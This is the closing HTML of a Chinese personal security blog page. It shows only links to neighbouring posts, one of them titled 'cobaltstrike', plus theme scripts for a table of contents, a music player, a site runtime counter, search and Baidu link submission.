                <i class="fas fa-chevron-left"></i>&nbsp;上一篇</div>
            <div class="card">
                <a href="/2020/11/08/cobaltstrike/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/11.jpg" class="responsive-img" alt="cobaltstrike">
                        
                        <span class="card-title">cobaltstrike</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            
                        
                    </div>
                    <div class="publish-info">
                        <span class="publish-date">
                            <i class="far fa-clock fa-fw icon-date"></i>2020-11-08
                        </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-bookmark fa-fw icon-category"></i>
                            
                            <a href="/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" class="post-category">
                                    网络安全
                                </a>
                            
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/%E5%B7%A5%E5%85%B7/">
                        <span class="chip bg-color">工具</span>
                    </a>
                    
                    <a href="/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">
                        <span class="chip bg-color">学习笔记</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge right-badge text-color">
                下一篇&nbsp;<i class="fas fa-chevron-right"></i>
            </div>
            <div class="card">
                <a href="/2020/10/29/shi-pin-li-mian-wo-dao-di-xue-liao-ge-sha-zong-jie-kan-kan/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/4.jpg" class="responsive-img" alt="视频里面我到底学了个啥，总结看看">
                        
                        <span class="card-title">视频里面我到底学了个啥，总结看看</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            
                        
                    </div>
                    <div class="publish-info">
                            <span class="publish-date">
                                <i class="far fa-clock fa-fw icon-date"></i>2020-10-29
                            </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-bookmark fa-fw icon-category"></i>
                            
                            <a href="/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/" class="post-category">
                                    网络安全
                                </a>
                            
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/">
                        <span class="chip bg-color">学习笔记</span>
                    </a>
                    
                    <a href="/tags/%E6%97%B6%E9%97%B4%E9%83%BD%E5%8E%BB%E5%93%AA%E4%BA%86/">
                        <span class="chip bg-color">时间都去哪了</span>
                    </a>
                    
                </div>
                
            </div>
        </div>
        
    </div>
</article>

</div>



<!-- 代码块功能依赖 -->
<script type="text/javascript" src="/libs/codeBlock/codeBlockFuction.js"></script>

<!-- 代码语言 -->


<!-- 代码块复制 -->

<script type="text/javascript" src="/libs/codeBlock/codeCopy.js"></script>


<!-- 代码块收缩 -->

<script type="text/javascript" src="/libs/codeBlock/codeShrink.js"></script>


<!-- 代码块折行 -->

<style type="text/css">
code[class*="language-"], pre[class*="language-"] { white-space: pre !important; }
</style>


    </div>
    <div id="toc-aside" class="expanded col l3 hide-on-med-and-down">
        <div class="toc-widget card" style="background-color: white;">
            <div class="toc-title"><i class="far fa-list-alt"></i>&nbsp;&nbsp;目录</div>
            <div id="toc-content"></div>
        </div>
    </div>
</div>

<!-- TOC 悬浮按钮. -->

<div id="floating-toc-btn" class="hide-on-med-and-down">
    <a class="btn-floating btn-large bg-color">
        <i class="fas fa-list-ul"></i>
    </a>
</div>


<script src="/libs/tocbot/tocbot.min.js"></script>
<script>
    $(function () {
        tocbot.init({
            tocSelector: '#toc-content',
            contentSelector: '#articleContent',
            headingsOffset: -($(window).height() * 0.4 - 45),
            collapseDepth: Number('0'),
            headingSelector: 'h1, h2, h3, h4'
        });

        // modify the toc link href to support Chinese.
        let i = 0;
        let tocHeading = 'toc-heading-';
        $('#toc-content a').each(function () {
            $(this).attr('href', '#' + tocHeading + (++i));
        });

        // modify the heading title id to support Chinese.
        i = 0;
        $('#articleContent').children('h1, h2, h3, h4').each(function () {
            $(this).attr('id', tocHeading + (++i));
        });

        // Set scroll toc fixed.
        let tocHeight = parseInt($(window).height() * 0.4 - 64);
        let $tocWidget = $('.toc-widget');
        $(window).scroll(function () {
            let scroll = $(window).scrollTop();
            /* add post toc fixed. */
            if (scroll > tocHeight) {
                $tocWidget.addClass('toc-fixed');
            } else {
                $tocWidget.removeClass('toc-fixed');
            }
        });

        
        /* 修复文章卡片 div 的宽度. */
        let fixPostCardWidth = function (srcId, targetId) {
            let srcDiv = $('#' + srcId);
            if (srcDiv.length === 0) {
                return;
            }

            let w = srcDiv.width();
            if (w >= 450) {
                w = w + 21;
            } else if (w >= 350 && w < 450) {
                w = w + 18;
            } else if (w >= 300 && w < 350) {
                w = w + 16;
            } else {
                w = w + 14;
            }
            $('#' + targetId).width(w);
        };

        // 切换TOC目录展开收缩的相关操作.
        const expandedClass = 'expanded';
        let $tocAside = $('#toc-aside');
        let $mainContent = $('#main-content');
        $('#floating-toc-btn .btn-floating').click(function () {
            if ($tocAside.hasClass(expandedClass)) {
                $tocAside.removeClass(expandedClass).hide();
                $mainContent.removeClass('l9');
            } else {
                $tocAside.addClass(expandedClass).show();
                $mainContent.addClass('l9');
            }
            fixPostCardWidth('artDetail', 'prenext-posts');
        });
        
    });
</script>

    

</main>




    <footer class="page-footer bg-color">
    
        <link rel="stylesheet" href="/libs/aplayer/APlayer.min.css">
<style>
    .aplayer .aplayer-lrc p {
        
        display: none;
        
        font-size: 12px;
        font-weight: 700;
        line-height: 16px !important;
    }

    .aplayer .aplayer-lrc p.aplayer-lrc-current {
        
        display: none;
        
        font-size: 15px;
        color: #42b983;
    }

    
    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body {
        left: -66px !important;
    }

    .aplayer.aplayer-fixed.aplayer-narrow .aplayer-body:hover {
        left: 0px !important;
    }

    
</style>
<div class="">
    
    <div class="row">
        <meting-js class="col l8 offset-l2 m10 offset-m1 s12"
                   server="netease"
                   type="playlist"
                   id="503838841"
                   fixed='true'
                   autoplay='false'
                   theme='#42b983'
                   loop='all'
                   order='random'
                   preload='auto'
                   volume='0.7'
                   list-folded='true'
        >
        </meting-js>
    </div>
</div>

<script src="/libs/aplayer/APlayer.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/meting@2/dist/Meting.min.js"></script>

    
    <div class="container row center-align" style="margin-bottom: 15px !important;">
        <div class="col s12 m8 l8 copy-right">
            Copyright&nbsp;&copy;
            
                <span id="year">2020-2021</span>
            
            <span id="year">2020</span>
            <a href="/about" target="_blank">YeOrLuOp</a>
            |&nbsp;Powered by&nbsp;<a href="https://hexo.io/" target="_blank">Hexo</a>
            <br>
            
            &nbsp;<i class="fas fa-chart-area"></i>&nbsp;站点总字数:&nbsp;<span
                class="white-color">18.8k</span>&nbsp;字
            
            
            
            
            
            
            
            <br>
            
            <span id="sitetime">载入运行时间...</span>
            <script>
                function siteTime() {
                    var seconds = 1000;
                    var minutes = seconds * 60;
                    var hours = minutes * 60;
                    var days = hours * 24;
                    var years = days * 365;
                    var today = new Date();
                    var startYear = "2020";
                    var startMonth = "08";
                    var startDate = "15";
                    var startHour = "0";
                    var startMinute = "0";
                    var startSecond = "0";
                    var todayYear = today.getFullYear();
                    var todayMonth = today.getMonth() + 1;
                    var todayDate = today.getDate();
                    var todayHour = today.getHours();
                    var todayMinute = today.getMinutes();
                    var todaySecond = today.getSeconds();
                    var t1 = Date.UTC(startYear, startMonth, startDate, startHour, startMinute, startSecond);
                    var t2 = Date.UTC(todayYear, todayMonth, todayDate, todayHour, todayMinute, todaySecond);
                    var diff = t2 - t1;
                    var diffYears = Math.floor(diff / years);
                    var diffDays = Math.floor((diff / days) - diffYears * 365);
                    var diffHours = Math.floor((diff - (diffYears * 365 + diffDays) * days) / hours);
                    var diffMinutes = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours) /
                        minutes);
                    var diffSeconds = Math.floor((diff - (diffYears * 365 + diffDays) * days - diffHours * hours -
                        diffMinutes * minutes) / seconds);
                    if (startYear == todayYear) {
                        document.getElementById("year").innerHTML = todayYear;
                        document.getElementById("sitetime").innerHTML = "本站已安全运行 " + diffDays + " 天 " + diffHours +
                            " 小时 " + diffMinutes + " 分钟 " + diffSeconds + " 秒";
                    } else {
                        document.getElementById("year").innerHTML = startYear + " - " + todayYear;
                        document.getElementById("sitetime").innerHTML = "本站已安全运行 " + diffYears + " 年 " + diffDays +
                            " 天 " + diffHours + " 小时 " + diffMinutes + " 分钟 " + diffSeconds + " 秒";
                    }
                }
                setInterval(siteTime, 1000);
            </script>
            
            <br>
            
        </div>
        <div class="col s12 m4 l4 social-link social-statis">
    <a href="https://github.com/wang468" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50">
        <i class="fab fa-github"></i>
    </a>















</div>
    </div>
</footer>

<div class="progress-bar"></div>


    <!-- 搜索遮罩框 -->
<div id="searchModal" class="modal">
    <div class="modal-content">
        <div class="search-header">
            <span class="title"><i class="fas fa-search"></i>&nbsp;&nbsp;搜索</span>
            <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字"
                   class="search-input">
        </div>
        <div id="searchResult"></div>
    </div>
</div>

<script src="/js/search.js"></script>
<script type="text/javascript">
$(function () {
    searchFunc('/search.xml', 'searchInput', 'searchResult');
});
</script>

    <!-- 回到顶部按钮 -->
<div id="backTop" class="top-scroll">
    <a class="btn-floating btn-large waves-effect waves-light" href="#!">
        <i class="fas fa-arrow-up"></i>
    </a>
</div>


    <script src="/libs/materialize/materialize.min.js"></script>
    <script src="/libs/masonry/masonry.pkgd.min.js"></script>
    <script src="/libs/aos/aos.js"></script>
    <script src="/libs/scrollprogress/scrollProgress.min.js"></script>
    <script src="/libs/lightGallery/js/lightgallery-all.min.js"></script>
    <script src="/js/matery.js"></script>

    <!-- Baidu Analytics -->

    <!-- Baidu Push -->

<script>
    (function () {
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        } else {
            bp.src = 'http://push.zhanzhang.baidu.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>

    
    
    <script async src="/libs/others/busuanzi.pure.mini.js"></script>
    

    

    

    

    

    

    
    <script src="/libs/instantpage/instantpage.js" type="module"></script>
    

</body>

</html>
